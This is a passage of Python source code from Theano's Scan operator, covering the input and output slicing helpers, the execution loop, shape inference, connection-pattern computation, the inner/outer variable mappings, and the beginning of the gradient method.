return list_inputs[offset:offset + self.n_mit_sot]
def inner_mitsot_outs(self, list_outputs):
n_taps = sum(len(x) for x in self.mit_mot_out_slices)
return list_outputs[n_taps:n_taps + self.n_mit_sot]
def outer_mitsot_outs(self, list_outputs):
if isinstance(list_outputs, Apply):
list_outputs = list_outputs.outputs
return list_outputs[self.n_mit_mot:
self.n_mit_mot + self.n_mit_sot]
def mitsot_taps(self):
return self.tap_array[self.n_mit_mot:
self.n_mit_mot + self.n_mit_sot]
def inner_sitsot(self, list_inputs):
n_taps_upto_sit_sot = sum(len(x) for x in
self.tap_array[:(self.n_mit_mot +
self.n_mit_sot)])
offset = self.n_seqs + n_taps_upto_sit_sot
return list_inputs[offset:offset + self.n_sit_sot]
def outer_sitsot(self, list_inputs):
if isinstance(list_inputs, Apply):
list_inputs = list_inputs.inputs
offset = 1 + self.n_seqs + self.n_mit_mot + self.n_mit_sot
return list_inputs[offset:offset + self.n_sit_sot]
def inner_sitsot_outs(self, list_outputs):
n_taps = sum(len(x) for x in self.mit_mot_out_slices)
offset = self.n_mit_sot + n_taps
return list_outputs[offset:offset + self.n_sit_sot]
def outer_sitsot_outs(self, list_outputs):
if isinstance(list_outputs, Apply):
list_outputs = list_outputs.outputs
offset = self.n_mit_mot + self.n_mit_sot
return list_outputs[offset:offset + self.n_sit_sot]
def outer_nitsot(self, list_inputs):
if isinstance(list_inputs, Apply):
list_inputs = list_inputs.inputs
offset = (1 + self.n_seqs + self.n_mit_mot + self.n_mit_sot +
self.n_sit_sot + self.n_shared_outs)
return list_inputs[offset:offset + self.n_nit_sot]
def inner_nitsot_outs(self, list_outputs):
n_taps = sum(len(x) for x in self.mit_mot_out_slices)
offset = self.n_mit_sot + n_taps + self.n_sit_sot
return list_outputs[offset:offset + self.n_nit_sot]
def outer_nitsot_outs(self, list_outputs):
if isinstance(list_outputs, Apply):
list_outputs = list_outputs.outputs
offset = (self.n_mit_mot + self.n_mit_sot + self.n_sit_sot)
return list_outputs[offset:offset + self.n_nit_sot]
def inner_shared(self, list_inputs):
n_taps_upto_sit_sot = sum(len(x) for x in
self.tap_array[:(self.n_mit_mot +
self.n_mit_sot)])
offset = self.n_seqs + n_taps_upto_sit_sot + self.n_sit_sot
return list_inputs[offset:offset + self.n_shared_outs]
def outer_shared(self, list_inputs):
if isinstance(list_inputs, Apply):
list_inputs = list_inputs.inputs
offset = (1 + self.n_seqs + self.n_mit_mot + self.n_mit_sot +
self.n_sit_sot)
return list_inputs[offset:offset + self.n_shared_outs]
def inner_shared_outs(self, list_outputs):
n_taps = sum(len(x) for x in self.mit_mot_out_slices)
offset = self.n_mit_sot + n_taps + self.n_sit_sot + self.n_nit_sot
return list_outputs[offset:offset + self.n_shared_outs]
def outer_shared_outs(self, list_outputs):
if isinstance(list_outputs, Apply):
list_outputs = list_outputs.outputs
offset = (self.n_mit_mot + self.n_mit_sot + self.n_sit_sot +
self.n_nit_sot)
return list_outputs[offset:offset + self.n_shared_outs]
def inner_non_seqs(self, list_inputs):
n_taps_upto_sit_sot = sum(len(x) for x in
self.tap_array[:(self.n_mit_mot +
self.n_mit_sot)])
offset = (self.n_seqs + n_taps_upto_sit_sot + self.n_sit_sot +
self.n_shared_outs)
return list_inputs[offset:]
def outer_non_seqs(self, list_inputs):
if isinstance(list_inputs, Apply):
list_inputs = list_inputs.inputs
offset = (1 + self.n_seqs + self.n_mit_mot + self.n_mit_sot +
self.n_sit_sot + self.n_nit_sot + self.n_shared_outs)
return list_inputs[offset:]
def execute(self, node, args, outs):
t0_call = time.time()
t_fn = 0
n_steps = args[0]
seqs = []
if n_steps < 0:
raise IndexError(
"Scan was asked to run for negative number of step %d" %
n_steps)
elif n_steps == 0:
raise NotImplementedError(
"We didn't implemented yet the case where scan do 0 iteration")
else:
for idx, seq in enumerate(args[1:self.seqs_arg_offset]):
if seq.shape[0] < n_steps:
raise ValueError(('Sequence is shorter then the required '
'number of steps : (n_steps, seq, '
'seq.shape):'), n_steps,
node.inputs[1 + idx],
seq.shape)
seqs.append(seq)
# 2. Allocate memory for the outputs. Construct the list:
# store_steps -- map containting the length of each output
# pos -- map containing the current position of each
# output
store_steps = [arg.shape[0] for arg
in args[self.seqs_arg_offset:
self.shared_arg_offset]]
store_steps += [arg for arg in
args[self.nit_sot_arg_offset:
self.nit_sot_arg_offset + self.n_nit_sot]
]
pos = [(-self.mintaps[idx]) % store_steps[idx] for idx
in xrange(self.n_outs + self.n_nit_sot)]
if not getattr(self, 'destroy_map', None):
self.destroy_map = OrderedDict()
# 2.1 Create storage space for outputs
for idx in xrange(self.n_outs):
if idx in self.destroy_map:
# ^ Case 1. Outputs should be computed inplace of their
# initial state
outs[idx][0] = args[self.seqs_arg_offset + idx]
elif (outs[idx][0] is not None and
outs[idx][0].shape[1:] == args[self.seqs_arg_offset +
idx].shape[1:]
and outs[idx][0].shape[0] >= store_steps[idx]):
# Put in the values of the initial state
outs[idx][0] = outs[idx][0][:store_steps[idx]]
if idx > self.n_mit_mot:
l = - self.mintaps[idx]
outs[idx][0][:l] = args[self.seqs_arg_offset + idx][:l]
else:
outs[idx][0][:] = args[self.seqs_arg_offset + idx]
else:
outs[idx][0] = args[self.seqs_arg_offset + idx].copy()
offset = self.nit_sot_arg_offset + self.n_nit_sot
other_args = args[offset:]
input_storage = self.fn.input_storage
output_storage = self.fn.output_storage
old_output_storage = [None] * len(output_storage)
old_output_data = [None] * len(output_storage)
output_reused = [None] * len(output_storage)
fn = self.fn.fn
offset = (self.n_seqs + sum(map(len, self.tap_array[:self.n_outs])) +
self.n_shared_outs)
for idx in xrange(len(other_args)):
input_storage[idx + offset].storage[0] = other_args[idx]
i = 0
cond = True
############## THE MAIN LOOP #########################
# for i in xrange(n_steps):
while (i < n_steps) and cond:
# sequences over which scan iterates
# 3. collect input slices
for idx in xrange(self.n_seqs):
if self.vector_seqs[idx]:
input_storage[idx].storage[0] = \
seqs[idx][i:i + 1].reshape(())
else:
input_storage[idx].storage[0] = seqs[idx][i]
offset = self.n_seqs
for idx in xrange(self.n_outs):
if self.vector_outs[idx]:
for tap in self.tap_array[idx]:
_idx = (pos[idx] + tap) % store_steps[idx]
input_storage[offset].storage[0] =\
outs[idx][0][_idx:_idx + 1].reshape(())
offset += 1
else:
for tap in self.tap_array[idx]:
_idx = (pos[idx] + tap) % store_steps[idx]
input_storage[offset].storage[0] = outs[idx][0][_idx]
offset += 1
a_offset = self.shared_arg_offset
o_offset = self.n_outs + self.n_nit_sot
if i == 0:
for j in xrange(self.n_shared_outs):
input_storage[offset].storage[0] = args[a_offset + j]
offset += 1
else:
for j in xrange(self.n_shared_outs):
input_storage[offset].storage[0] = outs[o_offset + j][0]
offset += 1
# 4. collecting slices where the output should be stored
# 4.1. Collect slices for mitmots
for idx in xrange(self.n_mit_mot_outs):
output_storage[idx].storage[0] = None
# 4.2. Collect slices for mitsots, sitsots and nitsots
offset = self.n_mit_mot_outs
if i != 0:
for idx in xrange(self.n_outs + self.n_nit_sot -
self.n_mit_mot):
if (store_steps[idx + self.n_mit_mot] == 1 or
self.vector_outs[idx + self.n_mit_mot]):
output_storage[idx + offset].storage[0] = None
else:
_pos0 = idx + self.n_mit_mot
output_storage[idx + offset].storage[0] =\
outs[_pos0][0][pos[_pos0]]
else:
for idx in xrange(self.n_outs + self.n_nit_sot -
self.n_mit_mot):
output_storage[idx + offset].storage[0] = None
# 4.3. Collect slices for shared outputs
offset += self.n_outs + self.n_nit_sot - self.n_mit_mot
for idx in xrange(self.n_shared_outs):
output_storage[idx + offset].storage[0] = None
# 4.4. If there is a condition add it to the mix
if self.as_while:
pdx = offset + self.n_shared_outs
output_storage[pdx].storage[0] = None
# 4.5. Keep a reference to the variables (ndarrays, CudaNdarrays,
# etc) currently in the output_storage to be able to compare them
# with the actual outputs of the inner function after its
# execution. Also keep pointers to their data to be able to detect
# cases where outputs reused the allocated object but alter the
# memory region they refer to.
for idx in xrange(len(output_storage)):
var = output_storage[idx].storage[0]
old_output_storage[idx] = var
if hasattr(var, 'gpudata'):
old_output_data[idx] = var.gpudata
elif hasattr(var, 'data'):
old_output_data[idx] = var.data
else:
old_output_data[idx] = None
# 5. compute outputs
t0_fn = time.time()
try:
fn()
except Exception:
if hasattr(fn, 'position_of_error'):
# this is a new vm-provided function or c linker
# they need this because the exception manipulation
# done by raise_with_op is not implemented in C.
if hasattr(fn, 'thunks'):
# For the CVM
gof.link.raise_with_op(fn.nodes[fn.position_of_error],
fn.thunks[fn.position_of_error])
else:
# For the c linker
# We don't have access from python to all the
# the extra shapes/strides info
gof.vm.raise_with_op(fn.nodes[fn.position_of_error])
else:
# old-style linkers raise their own exceptions
raise
dt_fn = time.time() - t0_fn
if self.as_while:
pdx = offset + self.n_shared_outs
cond = output_storage[pdx].storage[0] == 0
# Check which of the pre-allocated outputs (if applicable) have
# been reused by the inner function
for idx in xrange(len(output_storage)):
# If the storage map does not contain the same object, then
# the pre-allocated output has not been reused
new_var = output_storage[idx].storage[0]
if old_output_storage[idx] is new_var:
# The pre-allocated output is only considered as having
# been reused if it still points to the same data as it
# did before the execution of the inner function
if old_output_data[idx] is None:
output_reused[idx] = False
else:
if hasattr(new_var, 'gpudata'):
output_reused[idx] = (new_var.gpudata ==
old_output_data[idx])
elif hasattr(new_var, 'data'):
output_reused[idx] = (new_var.data ==
old_output_data[idx])
else:
output_reused[idx] = False
t_fn += dt_fn
offset_out = 0
# 5.1 Copy over the values for mit_mot outputs
for j in xrange(self.n_mit_mot):
for k in self.mit_mot_out_slices[j]:
outs[j][0][k + pos[j]] = \
output_storage[offset_out].storage[0]
offset_out += 1
# 5.2 Copy over the values for mit_sot/sit_sot outputs
begin = self.n_mit_mot
end = self.n_outs
offset_out -= self.n_mit_mot
for j in xrange(begin, end):
if (store_steps[j] == 1 or self.vector_outs[j] or
not output_reused[offset_out + j]):
outs[j][0][pos[j]] = \
output_storage[offset_out + j].storage[0]
# 5.3 Copy over the values for nit_sot outputs
begin = end
end += self.n_nit_sot
for j in xrange(begin, end):
if i == 0:
jout = j + offset_out
shape = (store_steps[j],) + \
output_storage[jout].storage[0].shape
if len(output_storage[jout].storage[0].shape) == 0:
self.vector_outs[j] = True
dtype = output_storage[jout].storage[0].dtype
if (outs[j][0] is None or
outs[j][0].shape[0] < store_steps[j] or
outs[j][0].shape[1:] != shape[1:] or
outs[j][0].dtype != dtype):
outs[j][0] = node.outputs[j].type.value_zeros(shape)
elif outs[j][0].shape[0] != store_steps[j]:
outs[j][0] = outs[j][0][:store_steps[j]]
outs[j][0][pos[j]] = output_storage[jout].storage[0]
elif (store_steps[j] == 1 or self.vector_outs[j] or
not output_reused[offset_out + j]):
outs[j][0][pos[j]] = \
output_storage[j + offset_out].storage[0]
# 5.4 Copy over the values for outputs corresponding to shared
# variables
begin = end
end += self.n_shared_outs
for j in xrange(begin, end):
jout = j + offset_out
outs[j][0] = output_storage[jout].storage[0]
pos = [(idx + 1) % store for idx, store in
izip(pos, store_steps)]
i = i + 1
# 6. Check if you need to re-order output buffers
begin = self.n_mit_mot
end = self.n_outs + self.n_nit_sot
for idx in xrange(begin, end):
if (store_steps[idx] < i - self.mintaps[idx] and
pos[idx] < store_steps[idx]):
pdx = pos[idx]
if pdx >= store_steps[idx] // 2:
# It seems inefficient to copy the bigger part of the
# array over, and back, but it is the only way that
# there is no overlap in the areas of out[idx][0] that
# are read and written.
# This way, there will be no information overwritten
# before it is read (as it used to happen).
shape = (pdx,) + outs[idx][0].shape[1:]
tmp = node.outputs[idx].type.value_zeros(shape)
tmp[:] = outs[idx][0][:pdx]
outs[idx][0][:store_steps[idx] - pdx] = outs[idx][0][pdx:]
outs[idx][0][store_steps[idx] - pdx:] = tmp
del tmp
else:
shape = (store_steps[idx] - pdx,) + outs[idx][0].shape[1:]
tmp = node.outputs[idx].type.value_zeros(shape)
tmp[:] = outs[idx][0][pdx:]
outs[idx][0][store_steps[idx] - pdx:] = outs[idx][0][:pdx]
outs[idx][0][:store_steps[idx] - pdx] = tmp
del tmp
# This would normally happen only when doing truncated
# backpropagation through time. In such a scenarion Scan is
# expected to return 0 for all entries for which the gradient is
# not actually computed
elif store_steps[idx] > i - self.mintaps[idx]:
outs[idx][0][i - self.mintaps[idx]:] = 0
# This is a fix for a bug introduced by while. If you say
# you want to loop up to a condition, you expect the output
# to have that length ( and not the maximal length possible)
#
# Without this the behaviour of a scan op is not consistent
# if optimization gets applied compared to when optimization
# do not get applied
if i < n_steps:
# The reason I don't use out[idx][0][:i] is because for
outs[idx][0] = outs[idx][0][:-(n_steps - i)]
for i_s in input_storage:
i_s.storage[0] = None
for o_s in output_storage:
o_s.storage[0] = None
t_call = time.time() - t0_call
# and this little string helps us to find this spot:
# "PROFILE_CODE"
if hasattr(self.fn.maker, 'profile') and self.fn.maker.profile:
profile = self.fn.maker.profile
profile.callcount += 1
profile.nbsteps += n_steps
profile.call_time += t_call
profile.vm_call_time += t_fn
if hasattr(self.fn.fn, 'update_profile'):
self.fn.fn.update_profile(profile)
#/* Old ProfileMode
# if hasattr(self.fn.maker.mode,'fct_call_time'):
# self.fn.maker.mode.fct_call_time[self.fn] += t_fn
# self.fn.maker.mode.fct_call[self.fn] += n_steps
#self.fn.maker.mode.call_time += t_fn
#self.fn.maker.mode.fn_time += t_fn
# Old Profile Mode */
self.t_call = t_call
self.t_fn = t_fn
# Infer Shape
def infer_shape(self, node, input_shapes):
# input_shapes correspond to the shapes of node.inputs
# Here, we build a list inner_ins_shape, such that inner_ins_shape[i]
# is the shape of self.inputs[i]
for inp, inp_shp in izip(node.inputs, input_shapes):
assert inp_shp is None or len(inp_shp) == inp.type.ndim
# sequences
# We skip iputs_shapes[0] as it is the total or current number
# of iterations.
seqs_shape = [x[1:] for x in input_shapes[1:1 + self.n_seqs]]
# mit_mot, mit_sot, sit_sot
n_outs = self.n_mit_mot + self.n_mit_sot + self.n_sit_sot
outs_shape = []
for idx in xrange(n_outs):
for k in self.tap_array[idx]:
outs_shape += [input_shapes[idx + self.n_seqs + 1][1:]]
# shared_outs
offset = 1 + self.n_seqs + n_outs
for idx in xrange(self.n_shared_outs):
outs_shape += [input_shapes[idx + offset]]
# non_sequences
offset += self.n_nit_sot + self.n_shared_outs
inner_ins_shapes = seqs_shape + outs_shape + input_shapes[offset:]
assert len(inner_ins_shapes) == len(self.inputs)
# Non-sequences have a direct equivalent from self.inputs in
# node.inputs
inner_non_sequences = self.inputs[len(seqs_shape) + len(outs_shape):]
out_equivalent = OrderedDict()
for in_ns, out_ns in izip(inner_non_sequences, node.inputs[offset:]):
out_equivalent[in_ns] = out_ns
if self.as_while:
self_outs = self.outputs[:-1]
else:
self_outs = self.outputs
outs_shape = scan_utils.infer_shape(
outs=self_outs,
inputs=self.inputs,
input_shapes=inner_ins_shapes)
# Will be used to check if outs_shape can be expressed without using
# variables in self.inputs.
# The shapes of node.inputs are valid.
validator = scan_utils.Validator(
valid=input_shapes,
invalid=self.inputs,
valid_equivalent=out_equivalent)
offset = 1 + self.n_seqs
scan_outs = [x for x in input_shapes[offset:offset + n_outs]]
offset += n_outs
outs_shape_n = self.n_mit_mot_outs + self.n_mit_sot + self.n_sit_sot
for x in xrange(self.n_nit_sot):
out_shape_x = outs_shape[outs_shape_n + x]
if out_shape_x is None:
# This output is not a tensor, and has no shape
scan_outs.append(None)
else:
# We need to make sure that we can compute the shapes from
# node.inputs, and constants, without using the variables
# in the inner function.
r = node.outputs[n_outs + x]
assert r.ndim == 1 + len(out_shape_x)
shp = [node.inputs[offset + self.n_shared_outs + x]]
for i, shp_i in izip(xrange(1, r.ndim), out_shape_x):
# Validate shp_i. v_shape_i is either None (if invalid),
# or a (variable, Boolean) tuple. The Boolean indicates
# whether variable is shp_i (if True), or an valid
# equivalent (if False). Here, we only need the variable.
v_shp_i = validator.check(shp_i)
if v_shp_i is None:
if hasattr(r, 'broadcastable') and r.broadcastable[i]:
shp.append(1)
else:
shp.append(Shape_i(i)(r))
else:
# It can (or at least, an equivalent variable can)
shp.append(v_shp_i[0])
scan_outs.append(tuple(shp))
scan_outs += [x for x in
input_shapes[offset:offset + self.n_shared_outs]]
# if we are dealing with a repeat-until, then we do not know the
# leading dimension so we replace it for every entry with Shape_i
if self.as_while:
scan_outs_init = scan_outs
scan_outs = []
for o, x in izip(node.outputs, scan_outs_init):
if x is None:
scan_outs.append(None)
else:
scan_outs.append((Shape_i(0)(o),) + x[1:])
return scan_outs
def connection_pattern(self, node):
# We cache the result of this function because, with a previous
# implementation that repeatedly called grad, there were cases
# where calls to theano.grad() took as much as 4h for functions
# containing many nested scans.
if hasattr(node.tag, 'connection_pattern'):
return node.tag.connection_pattern
# Obtain the connection pattern of the inner function.
inner_connect_pattern = io_connection_pattern(self.inputs, self.outputs)
# Initially assume no outer input is connected to any outer output
connection_pattern = [[False for output in node.outputs]
for x in node.inputs]
# For every possible pair of outer input and outer output, iterate
# over every possible pairing of their corresponding inner inputs
# and inner outputs and, if one such pair of inner variables is
# connected than the pair of outer variables is connected.
for outer_oidx in xrange(len(node.outputs)):
inner_oidxs = self.var_mappings['inner_out_from_outer_out'][outer_oidx]
for outer_iidx in xrange(len(node.inputs)):
inner_iidxs = self.var_mappings['inner_inp_from_outer_inp'][outer_iidx]
for inner_oidx in inner_oidxs:
for inner_iidx in inner_iidxs:
if inner_connect_pattern[inner_iidx][inner_oidx]:
connection_pattern[outer_iidx][outer_oidx] = True
break
if connection_pattern[outer_iidx][outer_oidx]:
break
# Applying Floyd-Warshall to find all paths connecting inputs to
# outputs. Note that if `x` is an input to `y_t` and `y_tm1` is an
# input to `z_t` then `x` is an input to `z_t`.
n_outs = len(node.outputs)
for steps in xrange(n_outs):
for iidx in xrange(n_outs):
for jidx in xrange(n_outs):
# Get the idx of the outer input corresponding to that
# outer output
j_inp_idx = self.var_mappings["outer_inp_from_outer_out"][jidx]
if j_inp_idx != -1:
if connection_pattern[j_inp_idx][iidx] == True:
for k in xrange(len(connection_pattern)):
if connection_pattern[k][jidx]:
connection_pattern[k][iidx] = True
node.tag.connection_pattern = connection_pattern
return connection_pattern
def get_oinp_iinp_iout_oout_mappings(self):
# Lists for outer variables contain individual indices, lists for
# inner variables contain sequences of indices because many inner
# variables can be associated with the same outer variable. The list
# and indices are initialized already containing the data associated
# with the timestep index, the first outer input.
outer_input_indices = [0]
inner_input_indices = [[]]
inner_output_indices = [[]]
outer_output_indices = [-1]
outer_iidx = 1
inner_iidx = 0
inner_oidx = 0
outer_oidx = 0
# Handle sequences inputs
for i in xrange(self.info['n_seqs']):
outer_input_indices.append(outer_iidx)
inner_input_indices.append([inner_iidx])
inner_output_indices.append([])
outer_output_indices.append(-1)
outer_iidx += 1
inner_iidx += 1
inner_oidx += 0
outer_oidx += 0
# Handle mitmots, mitsots and sitsots variables
for i in xrange(len(self.info['tap_array'])):
nb_input_taps = len(self.info['tap_array'][i])
if i < self.n_mit_mot:
nb_output_taps = len(self.mit_mot_out_slices[i])
else:
nb_output_taps = 1
outer_input_indices.append(outer_iidx)
inner_input_indices.append(list(range(inner_iidx,
inner_iidx + nb_input_taps)))
inner_output_indices.append(list(range(inner_oidx,
inner_oidx + nb_output_taps)))
outer_output_indices.append(outer_oidx)
outer_iidx += 1
inner_iidx += nb_input_taps
inner_oidx += nb_output_taps
outer_oidx += 1
# This is needed because, for outer inputs (and for outer inputs only)
# nitsots come *after* shared variables.
outer_iidx += self.info['n_shared_outs']
# Handle nitsots variables
for i in xrange(self.n_nit_sot):
outer_input_indices.append(outer_iidx)
inner_input_indices.append([])
inner_output_indices.append([inner_oidx])
outer_output_indices.append(outer_oidx)
outer_iidx += 1
inner_iidx += 0
inner_oidx += 1
outer_oidx += 1
# This is needed because, for outer inputs (and for outer inputs only)
# nitsots come *after* shared variables.
outer_iidx -= (self.info['n_shared_outs'] + self.n_nit_sot)
# Handle shared states
for i in xrange(self.info['n_shared_outs']):
outer_input_indices.append(outer_iidx)
inner_input_indices.append([inner_iidx])
inner_output_indices.append([inner_oidx])
outer_output_indices.append(outer_oidx)
outer_iidx += 1
inner_iidx += 1
inner_oidx += 1
outer_oidx += 1
# This is needed because, for outer inputs (and for outer inputs only)
# nitsots come *after* shared variables.
outer_iidx += self.n_nit_sot
# Handle non-sequence inputs
# Note : the number of non-sequence inputs is not stored in self.info
# so it has to be inferred from the number of inner inputs that remain
# to be handled
for i in xrange(len(self.inputs) - inner_iidx):
outer_input_indices.append(outer_iidx)
inner_input_indices.append([inner_iidx])
inner_output_indices.append([])
outer_output_indices.append(-1)
outer_iidx += 1
inner_iidx += 1
inner_oidx += 0
outer_oidx += 0
# With the global mapping inferred, the individual mappings
# can be produced
mappings = {"outer_inp_from_outer_out" : {},
"inner_inp_from_outer_out" : {},
"inner_out_from_outer_out" : {},
"inner_inp_from_outer_inp" : {},
"inner_out_from_outer_inp" : {},
"outer_out_from_outer_inp" : {},
"outer_inp_from_inner_inp" : {},
"inner_out_from_inner_inp" : {},
"outer_out_from_inner_inp" : {},
"outer_inp_from_inner_out" : {},
"inner_inp_from_inner_out" : {},
"outer_out_from_inner_out" : {}}
for (oinp, iinp, iout, oout) in izip(outer_input_indices,
inner_input_indices,
inner_output_indices,
outer_output_indices):
if oout != -1:
mappings["outer_inp_from_outer_out"][oout] = oinp
mappings["inner_inp_from_outer_out"][oout] = iinp
mappings["inner_out_from_outer_out"][oout] = iout
if oinp != -1:
mappings["inner_inp_from_outer_inp"][oinp] = iinp
mappings["inner_out_from_outer_inp"][oinp] = iout
mappings["outer_out_from_outer_inp"][oinp] = oout
for idx in iinp:
mappings["outer_inp_from_inner_inp"][idx] = oinp
mappings["inner_out_from_inner_inp"][idx] = iout
mappings["outer_out_from_inner_inp"][idx] = oout
for idx in iout:
mappings["outer_inp_from_inner_out"][idx] = oinp
mappings["inner_inp_from_inner_out"][idx] = iinp
mappings["outer_out_from_inner_out"][idx] = oout
return mappings
# GRAD FUNCTION
def grad(self, inputs, dC_douts):
outs = self(*inputs)
if not isinstance(outs, (list, tuple)):
outs = [outs]
# `grad_step` equals the number of steps the original scan node has
# done (if the original scan is a while loop than this number is the
# length of the output sequence)
# We do not know what kind of outputs the original scan has, so we
# try first to see if it has a nit_sot output, then a sit_sot and
# then a mit_sot
if self.n_nit_sot > 0:
grad_steps = self.outer_nitsot_outs(outs)[0].shape[0]
elif self.n_sit_sot > 0:
grad_steps = self.outer_sitsot_outs(outs)[0].shape[0] - 1
elif self.n_mit_sot > 0:
grad_steps = self.outer_mitsot_outs(outs)[0].shape[0] +\
self.mintaps[self.n_mit_mot]
else:
grad_steps = inputs[0]
# Restrict the number of grad steps according to
# self.truncate_gradient
if self.truncate_gradient != -1:
grad_steps = tensor.minimum(grad_steps, self.truncate_gradient)
rval = scan_utils.reconstruct_graph(self.inputs,
self.outputs)
self_inputs = rval[0]
self_outputs = rval[1]
# differentiable inputs
diff_inputs = (self.inner_seqs(self_inputs) +
self.inner_mitmot(self_inputs) +
self.inner_mitsot(self_inputs) +
self.inner_sitsot(self_inputs) +
self.inner_non_seqs(self_inputs))
diff_outputs = (self.inner_mitmot_outs(self_outputs) +
self.inner_mitsot_outs(self_outputs) +
self.inner_sitsot_outs(self_outputs) +
self.inner_nitsot_outs(self_outputs))
scan_node = outs[0].owner
connection_pattern = self.connection_pattern(scan_node)
def get_inp_idx(iidx):
if iidx < self.n_seqs:
return 1 + iidx
oidx = 1 + self.n_seqs
iidx = iidx - self.n_seqs
for taps in self.mitmot_taps():
if len(taps) > iidx:
return oidx
else:
oidx += 1
iidx -= len(taps)
for taps in self.mitsot_taps():
if len(taps) > iidx:
return oidx
else:
oidx += 1
iidx -= len(taps)
if iidx < self.info['n_sit_sot']:
return oidx + iidx
else:
return oidx + iidx + self.info['n_nit_sot']
def get_out_idx(iidx):
oidx = 0
for taps in self.mitmot_out_taps():
if len(taps) > iidx:
return oidx
else:
oidx += 1
iidx -= len(taps)
return oidx + iidx
def compute_gradient(y, g_y):
if 'int' in str(g_y.dtype):
raise TypeError("Gradients may never be integers but g_y "
"has type " + str(g_y.type))
odx = get_out_idx(self_outputs.index(y))
wrt = [x for x in theano.gof.graph.inputs([y])
if (x in diff_inputs) and
(connection_pattern[
get_inp_idx(self_inputs.index(x))][odx])]
gmp = OrderedDict()
for x in wrt:
try:
gmp[x] = gradient.grad(
cost=None,
known_grads={y: g_y},
wrt=x,
consider_constant=wrt,
disconnected_inputs='ignore',
return_disconnected='None')
except gradient.NullTypeGradError as e:
# The gradient wrt that particular input is undefined.
# This is not necessarily an issue, because maybe that
# particular input is not in the path between the
# "cost" and "wrt" of the external, initial call to grad().
# We simply return a Null gradient, forwarding the message.
gmp[x] = NullType((
"This variable is Null because the grad method on the "
"inner graph of the Scan node %s returned Null for "
"the corresponding inner input variable. The original "
"message was: %s"
% (str(self), exc_message(e))))()
rval = [gmp.get(p, None) for p in diff_inputs]
return rval
dC_dinps_t = [None for inp in diff_inputs]
disconnected_dC_dinps_t = [True for inp in diff_inputs]
dC_dXts = []
Xts = []
for idx, Xt in enumerate(diff_outputs):
# We are looking for x[t-1] for a given x[t]
if idx >= self.n_mit_mot_outs:
Xt_placeholder = safe_new(Xt)
Xts.append(Xt_placeholder)
# Different processing based on whether Xt is a nitsot output
# or not. NOTE : This cannot be done by using
# "if Xt not in self.inner_nitsot_outs(self_outputs)" because
# the exact same variable can be used as multiple outputs.
idx_nitsot_start = (self.info['n_mit_mot'] +
self.info['n_mit_sot'] +
self.info['n_sit_sot'])
idx_nitsot_end = idx_nitsot_start + self.info['n_nit_sot']
if idx < idx_nitsot_start or idx >= idx_nitsot_end:
# What we do here is loop through dC_douts and collect all
# those that are connected to the specific one and do an
# upcast on all of their dtypes to get the dtype for this
# specific output. Deciding if the gradient with this
# specific previous step is defined or not is done somewhere
# else.
dtypes = []
states = (self.inner_mitmot(self_inputs) +
self.inner_mitsot(self_inputs) +
self.inner_sitsot(self_inputs))
for pos, inp in enumerate(states):
if inp in theano.gof.graph.inputs([Xt]):
# Get the index of the outer output that to which
# the state variable 'inp' corresponds.
outer_oidx = self.var_mappings['outer_out_from_inner_inp'][self.n_seqs +
pos]
if not isinstance(dC_douts[outer_oidx].type,
DisconnectedType):
dtypes.append(dC_douts[outer_oidx].dtype)
if dtypes:
new_dtype = theano.scalar.upcast(*dtypes)
else:
new_dtype = theano.config.floatX
dC_dXt = safe_new(Xt, dtype=new_dtype)
else:
if isinstance(dC_douts[idx].type, DisconnectedType):
continue
dC_dXt = safe_new(dC_douts[idx][0])
dC_dXts.append(dC_dXt)
_dC_dinps_t = compute_gradient(Xt, dC_dXt)
for jdx in xrange(len(_dC_dinps_t)):
if dC_dinps_t[jdx] is None:
dC_dinps_t[jdx] = _dC_dinps_t[jdx]
elif isinstance(dC_dinps_t[jdx].type, NullType):
# The accumulated gradient is undefined
pass
elif _dC_dinps_t[jdx]:
if isinstance(_dC_dinps_t[jdx].type, NullType):
# The accumulated gradient is defined, but the new
# term is undefined. The whole thing has to be undefined.
dC_dinps_t[jdx] = _dC_dinps_t[jdx]
else:
dC_dinps_t[jdx] += _dC_dinps_t[jdx]
# mask inputs that get no gradients
for dx in xrange(len(dC_dinps_t)):
if not dC_dinps_t[dx]:
dC_dinps_t[dx] = tensor.zeros_like(diff_inputs[dx])
else:
disconnected_dC_dinps_t[dx] = False
for Xt, Xt_placeholder in zip(
diff_outputs[self.n_mit_mot_outs:],
Xts):
tmp = forced_replace(
dC_dinps_t[dx],
Xt,
Xt_placeholder)
dC_dinps_t[dx] = tmp
# construct dX_dtm1
dC_dXtm1s = []
for pos, x in enumerate(dC_dinps_t[self.n_seqs:]):
# Get the index of the first inner input corresponding to the
# pos-ieth inner input state
idxs = self.var_mappings['inner_out_from_inner_inp'][self.n_seqs +
pos]
# Check if the pos-th input is associated with one of the
# recurrent states
x_is_state = pos < sum([len(t) for t in self.tap_array])
if x_is_state and len(idxs) > 0:
opos = idxs[0]
dC_dXtm1s.append(safe_new(dC_dXts[opos]))
if hasattr(x, 'dtype') and x.dtype != dC_dXts[opos].dtype:
dC_dinps_t[pos + self.n_seqs] = \
x.astype(dC_dXts[opos].dtype)
else:
dC_dXtm1s.append(safe_new(x))
for dx, dC_dXtm1 in enumerate(dC_dXtm1s):
if isinstance(dC_dinps_t[dx + self.n_seqs].type, NullType):
# The accumulated gradient is undefined
pass
elif isinstance(dC_dXtm1.type, NullType):
# The new gradient is undefined, this makes the accumulated
# gradient undefined as weell
dC_dinps_t[dx + self.n_seqs] = dC_dXtm1
else:
dC_dinps_t[dx + self.n_seqs] += dC_dXtm1
# Construct scan op
# Seqs
outer_inp_seqs = [x[::-1] for x in inputs[1:1 + self.n_seqs]]
for idx in xrange(self.n_mit_mot + self.n_mit_sot):
mintap = numpy.min(self.tap_array[idx])
maxtap = numpy.max(self.tap_array[idx])
if idx < self.n_mit_mot:
outmaxtap = numpy.max(self.mitmot_out_taps()[idx])
else:
outmaxtap = 0
seq = outs[idx]
for k in self.tap_array[idx]:
if outmaxtap - k != 0:
nw_seq = seq[k - mintap: -(outmaxtap-k)][::-1]
else:
nw_seq = seq[k - mintap:][::-1]
outer_inp_seqs.append(nw_seq)
outer_inp_seqs += [
x[:-1][::-1] for x in self.outer_sitsot_outs(outs)]
for x in self.outer_nitsot_outs(dC_douts):
if not isinstance(x.type, DisconnectedType):
outer_inp_seqs.append(x[::-1])
if hasattr(inputs[0].tag, 'test_value'):
# Here we tests that the new scan input sequence all have
# the same shape[0]. This is a properties that the scan()
# fct add and we want to keep it for all Scan op. This is
# used in T_Scan.test_grad_multiple_outs_taps to test
# that.
for taps, x in zip(self.mitsot_taps(),
self.outer_mitsot_outs(outs)):
mintap = numpy.min(taps)
